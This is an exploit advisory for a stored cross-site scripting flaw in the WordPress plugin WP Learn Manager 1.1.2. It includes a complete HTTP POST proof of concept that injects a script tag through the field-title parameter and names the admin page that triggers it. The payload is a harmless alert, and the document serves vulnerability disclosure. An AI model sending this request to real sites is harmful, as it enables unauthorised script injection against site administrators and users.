WordPress WP Learn Manager 1.1.2 Plugin - Stored Cross-Site Scripting Vulnerability

# Exploit Title: WordPress Plugin WP Learn Manager 1.1.2 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Mohammed Adam 
# Vendor Homepage: https://wplearnmanager.com/
# Software Link: https://wordpress.org/plugins/learn-manager/
# Version: 1.1.2
# References link: https://wpscan.com/vulnerability/e0182508-23f4-4bdb-a1ef-1d1be38f3ad1

*Description:*

The plugin does not properly sanitise or validate its User Field Titles, allowing XSS payload to be used in them. Furthermore, no CSRF and capability checks were in place, allowing such attack to be performed either via CSRF or as any user (including unauthenticated)

*Proof of Concept:*

POST /wp-admin/admin.php?page=jslm_fieldordering&task=saveuserfield HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
Connection: close
Upgrade-Insecure-Requests: 1

fieldtitle=Image%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&published=1&isvisitorpublished=1&required=0&search_user=1&search_visitor=1&form_request=jslearnmanager&id=28&isuserfield=0&fieldfor=3&save=Save

Then visit /wp-admin/admin.php?page=jslm_fieldordering&ff=3 as admin to trigger the XSS. It may also be triggered elsewhere